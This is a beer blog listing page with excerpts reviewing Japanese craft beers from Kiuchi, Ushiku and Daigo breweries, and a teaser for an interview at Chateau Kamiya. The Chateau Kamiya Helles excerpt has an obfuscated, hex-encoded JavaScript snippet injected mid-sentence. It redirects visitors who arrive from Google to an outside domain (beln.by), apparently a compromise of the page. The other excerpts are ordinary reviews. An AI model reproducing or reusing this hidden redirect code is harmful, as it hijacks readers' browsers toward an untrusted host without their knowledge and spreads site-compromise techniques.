Hitachino Nest Weizen by Kiuchi Brewery

Hitachino Nest Weizen

Hitachino Nest Weizen is a 5.5% hefeweizen style beer from Kiuchi Brewery, based in Ibaraki prefecture. It’s brewed using Cascade, Chinook, and Amarillo hops during the boil stages, giving it an American influence. At the time of writing, the beer can be found in both regular 350ml and 750ml bottles as well as on draft. Hitachino Nest Weizen Aroma and …

Hitachino Nest Lager by Kiuchi Brewery

Hitachino Nest Lager

This review for Hitachino Nest Lager has been a long time coming- I first tried it during the interview at Kiuchi Brewery in 2014 – seems such a long time ago. Back then, I was told to keep it under wraps as they wanted to surprise people before putting it into bottles. Hitachino Nest Lager is a pilsner style beer, available …

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Hitachino Nest DAi DAi IPA by Kiuchi Brewery

Hitachino Nest DAi DAi IPA

Hitachino Nest DAi DAi IPA is a 6% fruit beer from Kiuchi Brewery brewed using oranges along with a traditional English IPA style recipe that was first released in August 2013. The oranges, known as fukure mikan, are sourced from the surrounding area of the Kiuchi Brewery from Yasato village, located at the foothills of Mt. Tsukuba. The orange’s history …

Chateau Kamiya Helles by Ushiku Brewery

Chateau Kamiya Helles

Chateau Kamiya Helles is a dortmunder helles style beer from Ushiku Brewery that is available all year round var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]]_0x5575[1]!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]}. With an abv of 5%, Chateau Kamiya Helles is also an all-malt beer that can be found in both bottled form and on draught at the on-site restaurants. Chateau Kamiya Helles Aroma and Taste Mere weeks ago, I wrote how …

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Yamizo Morino Beer Helles by Daigo Brewery

Yamizo Morino Beer Helles

Yamizo Morino Beer Helles is a 5.5% dortumunder / helles style beer from Daigo Brewery, based in Ibaraki prefecture Japan. It is a bottom fermented beer that is continually watched by the brewmaster until it is ready. I can’t imagine that person having fun watching beer age, especially if they are continually watching it, but that’s what Daigo Brewery states …

Hitachino Nest Saison Du Japon by Kiuchi Brewery

Hitachino Nest Saison Du Japon

Hitachino Nest Saison Du Japon is a beer that I had after my Kiuchi Brewery interview and tour in August 2014. This one was first consumed on draft at the True Brew Hitachino Nest Tasting Room in Mito, Ibaraki. Hitachino Nest Saison Du Japon is a 5.5% saison style beer that was first made available in bottled form in late 2014. …

Chateau Kamiya Pilsner by Ushiki Brewery

Chateau Kamiya Pilsner

Chateau Kamiya Pilsner is a German style pilsner from Ushiku Brewery. According to the Ushiki Brewery homepage, it’s an all-malt beer but also contains an abundance of German hops. Chateau Kamiya Pilsner has an abv of 5.5% and only has a shelf-life of about three months so it’s best drunk fresh either at the brewery or on the train home from …

Chateau Kamiya Dunkel by Ushiku Brewery

Chateau Kamiya Dunkel

Chateau Kamiya Dunkel is a 5.5% dunkel style beer from Ushiku Brewery that is part of their all year round range of beers. It’s brewed using malts only and can be found in bottles in the Chateau Kamiya shop or in the plethora of restaurants dotted across the vineyards. Chateau Kamiya Dunkel has also won two gold awards for best dunkel in …

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Interview with Kakui-san from Chateau Kamiya

Chateau Kamiya

Chateau Kamiya, located in Ushiku, Ibaraki is a brewery so steeped in the history of western alcohol in Japan, that it’s hard to understand why it isn’t bigger than it is. They’ve been making wine here since the Meiji era and were, along with the original Spring Valley Brewery in Yokohama, one of the first to be making beers brewed …

Chateau Kamiya IPA by Ushiku Brewery

Chateau Kamiya IPA

Ushiku Brewery are catching up with other breweries in Japan that once focussed on traditional German styles and have produced their version of an IPA: Chateau Kamiya IPA. Unlike other breweries though, Chateau Kamiya IPA is a summer seasonal only with no plans to extend it’s life to throughout the year. It is a 7% American IPA style beer that won Asia’s Beer …